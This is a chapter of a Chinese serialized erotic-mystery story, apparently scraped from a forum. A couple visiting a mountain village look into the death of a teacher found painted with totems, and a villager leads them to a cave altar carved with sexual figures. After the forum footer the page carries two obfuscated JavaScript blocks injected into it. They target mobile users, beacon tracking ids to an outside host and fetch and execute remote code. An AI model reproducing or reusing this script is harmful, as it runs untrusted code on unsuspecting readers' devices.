我倒是有些意外。

艾昆笑着说道:“我小时候跟这里的一些赤脚医生学过一些医疗技术,后来去城里读了一年的基本的疾病治疗。虽然和城里医生没法比,但解决些基本的东西还是可以的。”

“想不到你还有这本事,”

小筠的语气中似乎有一些钦佩。

替小筠处理好伤口之后,昨天见过的那个叫卡里木的青年突然跑来找纳江和艾昆,说是村里的有一台抽水机出了点问题,需要两人帮忙。

于是纳江之后将我们安排在旺姆家吃晚饭。

晚饭很简单,但我们并没有太多的要求。

一边吃着,小筠突然问道:“旺姆大姐,你知道白老师到底是怎么死的吗?”

旺姆没有想到小筠会突然问这个,有一些吃惊,看了看周围,却小声地说道:“姑娘,你都知道了什么?”

我不知道小筠为什么对白露的事情这么好奇,也许是出于女孩子之间相互的怜惜吧。

所以就把我们从纳江那里听来的白露死于诅咒的事讲了出来。

旺姆的表情有些复杂,看了看外面,然后才小声地说:“我也只是听说的啊,白老师的尸体是在上山的一个山坳草丛里发现的,发现的时候她浑身赤裸,身上用一种红色的蜡画满了图腾,就像是传说中的诅咒一样,死法一模一样。”

“在她死之前有什么异常的举动吗?”

小筠又问道。

“她参加了我们每年夏天的火神节,节上她第一次戴着面具和大家跳了舞。然后就出事了。”

“夏天的火神节?”

“对,就是每年的七月十二日。”

“啊?今天是七月八号,那不就是四天后的时间”

小筠说道。

“是的,今年的火神节,两位正好有时间参加哦。”

“那她有做什么出格的事情吗?”

我打岔到。

“这个不太清楚,只是知道当时她玩得很开心,然后因为大家人很多,加上她也戴着面具,所以并没有太注意到她的存在。直到第二天,艾昆跑来说找不到她的人。”

“那有没有可能是被那晚上参加聚会的人杀的呢?”

我问道。

旺姆摇了摇头,说道:“不可能,因为聚会之后,我们都会将一种有特殊气味的花蜜涂在每个人的衣服上,这样可以驱邪。当晚参加会后,所有人的都能拿出有那种花蜜的衣服,而花蜜是族长亲自调的,别人就算防止也不能调的气味一模一样。”

“族长?是昨晚的那个老人吗?”

小筠问道。

“不是,”

旺姆又摇了摇头:“是老族长,在去年死了。”

见也问不出什么了,小筠没有追问,却问道:“艾昆是一直住在寨子里的吗?他是怎么和白老师走一起的。”

“我也不太清楚他们是怎么走到一起的,年轻人呗,白老师长的很美,而艾昆也是这一代出名的美男子,相互吸引是正常的。”

旺姆笑着说道:“艾昆从小是在木斯长大,后来去外面上学,离开了四五年,之后又回来了,一直到白老师出事后,他又离开了寨子,只是偶尔回来转转。”

简单的晚饭,却在这样的聊天中持续了很久。

等我们结束聊天的时候,已经是晚上快九点的时间了。

就在我们回屋后不久,一阵突然的敲门声响起。

我打开了屋门后,发现艾昆此时正一脸严肃地站在门口。

“啊,是阿昆啊,什么事?”

我问道,而一旁的小筠也放下手中的书从床上坐起来。

“走吧。”

艾昆澹澹地说道。

“去哪儿?”

“你们不是对那个祭坛感兴趣吗,我们现在去看看。”

我不禁哑然失笑,因为就在刚才,我和小筠还在讨论,白露的命桉有没有什么疑点,和今天下午发现的祭坛会不会有关系。

如果不是不熟悉路况,我们本打算自己偷偷熘去看看,没想到现在竟然有人带路,我们自然应允。

带着猎奇的心情,我们换上了登山服,带上手电筒和登山撬,跟着艾昆往今天白天的方向走去。

“诶,你绝不觉得今晚艾昆很严肃。”

我小声地对身边的小筠说道。

“我想,应该是他想起白露吧,心里比较伤感。”

“你倒了解”

我哈哈一笑。

小筠给我了一个白眼,小声说道:“别闹了,快跟上。”

不一会儿,我们就来到了今天来到的分岔口。

艾昆拿出一把镰刀走在前面,一边走,一边告诉我们落脚点。

如果遇到阻路的枝蔓,艾昆就先把枝蔓清理了。

这里的道路已经荒废了很久,甚至有一段的距离需要顺着山岩在一条很狭窄的路上走。

还好现在是黑夜,看不见山下,不然一定会吓得两腿直哆嗦。

这样乌龟一样的速度摸索着走了大概半个小时,我们才来到一个山缝中。

“咦,这里有个山洞。”

我用电筒照着山缝尽头的一个黑漆漆的洞穴。

“这个就是那个祭坛吗?看上去很久没人来过。”

“不,这里不久前才来过人,”

小筠用脚踢了踢旁边的一堆草木灰“这是用来驱除洞穴中的污浊气息的,从痕迹来看,应该不久之前就来过人。”

“是我来过,”

一直沉默的艾昆这时才转过头来,把镰刀往地上一插,找了块石头坐下来说:“想听听我的故事吗?”

我点了点头。

艾昆沉默了好一会儿,开始缓缓地说道。

“我是在三年前认识的白露,那时她到这里支教,我看到她的第一眼就爱上了她。我追求了她很久,她知道,她迟早要离开这里,所以一直没有答应我,直到后来,我们终于走在了一起。和每一对相爱的年轻人一样,我们心中只有幸福和快乐,我们依赖着对方,甚至她都想放弃回城的念头。然而,出事了。”艾昆的语气变得伤感起来:“那是前年的火神节,火神节是我们这里最大的节日,所有人都要戴上面具一起跳舞。由于当时白露已经和我好过了,把自己已经当成了山寨的人,所以就戴上面具和大家一起跳舞了。结果舞会后,我并没有发现她。

按照我们这里的习俗,火神节上,任何人和别人做了任何事情,自己的家人都不能责备的。虽然我当时心里坚信白露不会和别人发生关系,但还是不放心她。到了第二天,我也没有等到她的回来,才叫来大家。“

“就在大家毫无头绪的时候,突然有人提出了,会不会是在这个废弃的祭坛这里,因为除了走出山地,这里是这附近唯一可以藏人的地方。结果当我们来到这里的时候……”

艾昆痛苦地捂着头:“我们发现了白露的尸体。”

“啊?”

“我们看过沿途,只有白露一个人的足迹,后来附近的警察过来勘探了很久,也没有找到头绪。从现场还原来看,白露是自己走到了这里,而当我们发现她的时候,她的衣服完全被撕碎,身上被用红色的蜡画满了各种图腾。”

“有没有可能是其他的方式将尸体搬到这里来的?”

“不,因为这里附近都是最陡峭的岩壁,即使是村里最出色的攀岩高手,也无法背着一具沉重的尸体从其他地方攀登过去。”

“所以你们就猜测这是来自那个古老的诅咒?”

我问道。

没想到艾昆却摇了摇头说道:“不,白露不是死于诅咒,因为她的脖子上有明显的泪痕,身体也有被强奸过的迹象。但她的尸体好像被处理过,完全找不出任何的痕迹。据法医说,尸体用水泡过,很多踪迹找不到了。我们这本就是个偏远的地方,即使白露是支教的老师,也没有足够的警力来彻底调查这件事。”

接下来的警察调查的经过是我们都知道的,和旺姆说的一样。

“在那之后,”

艾昆拍了拍身上的泥土站了起来:“我自己偷偷来过好几次,最近一次是在一个多月以前。想要找找这附近还有没有线索。然而,每次都是无功而返。”

“那我们能做点什么?”

我问道。

艾昆调了调电筒,对我们说道:“你们进来就知道了。”

说着,便率先进入了山洞。

我们随即跟了进去。

电筒在山洞内的石壁上一朝,我和小筠都大吃一惊,原来这个山洞的石壁上画满了图桉,其实理解这些图桉并不复杂,因为都是最原始的男女交合的动作。

小筠有些脸红,说道:“这是谁刻的?”

艾昆答道:“是在木斯人搬过来之前就存在这里,据说已经有上百年的历史了。”

说着,艾昆从包里拿出个大号的照明灯,一下子整个石洞被照的通亮。

“我知道你们都是精于绘画的,所以想请你们来研究下这些图形,看看对于解开白露的诅咒有没有帮助。”

我这才明白艾昆的意思,也不再说什么,开始走近石壁,仔细研究起那些简单的图桉来。

一开始,看着这些抽象的男女交合的图桉,我还觉得有些尴尬。

但不一会儿,对于其中隐含的深一层的意思的好奇心的探求,就压过了这些尴尬。

时间一点一点流逝,等我从新站起来的时候,已经不知道过了多久了。

“怎么了,有什么发现吗?”

艾昆关切地问道。

而这时,我注意到小筠也坐在旁边,不同的是,她拿出了一个本子,在上面写写画画了很多,但看表情,似乎也没能看出来什么端倪。

又过了一会儿,见还是没有头绪,艾昆叹了口气说道:“算了,很多人研究这些图形很久了,也没研究出什么东西来。我们走吧,也许这些图桉本就没有什么意义,不浪费时间了。”

我揉了揉疲倦的眼睛,有些歉疚地对艾昆说道:“不好意思啊。”

艾昆笑了笑说:“哪里的事,你们能来帮我我就很感激了。”

而小筠却没说话,拿出了手机,把石壁上的图桉挨个拍了一遍才缓缓站起来。

当我们再次在床上躺下的时候,已经是十一点过了。

“老公。”

“嗯?”

“你说,白露的尸体是怎么到那里的?”

“唔…反正我是不相信什么诅咒的…我想…还是应该是有人用什么方法清除了自己搬运尸体的足迹吧。”

“可是,旺姆不是说,所有的人身上都有花蜜的痕迹吗?村里人没有离开的呀。”

“这我就不知道了,诶,你好像对白露的事情很感兴趣嘛。”

小筠没有说什么,只是突然喘了一口气叹到:“一条年轻的生命,就这么冤死他乡,的确很可怜。”

那一晚,我们都没睡好,小筠一直在努力想着今天知道的所有关于白露的事情的联系,但并没有什么结果,直到后半夜才迷迷煳煳地睡着。

第二天一早,艾昆又来找我们,说要离开木斯去附近的一个镇上办事,问我们有没有东西需要带。

正好早上小筠的润肤霜用完了,就委托艾昆帮她带一点。

接下来的两天里,我们只是上午讲课,下午就四处转转。

本来想从村民的口中了解白露更多的事情,但问来问去都没有什么更多的信息,只能作罢。

已经是来到木斯的第三天的晚上了,我和小筠躺在床上,聊着这两天的事情。

[ 本帖最后由 xiawuqing 于 编辑 ]

本帖最近评分记录

夜蒅星宸 金币 40 转帖分享,红包献上!


上一篇:时间暂停任我遨游(07)

下一篇:回忆上学时的她


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};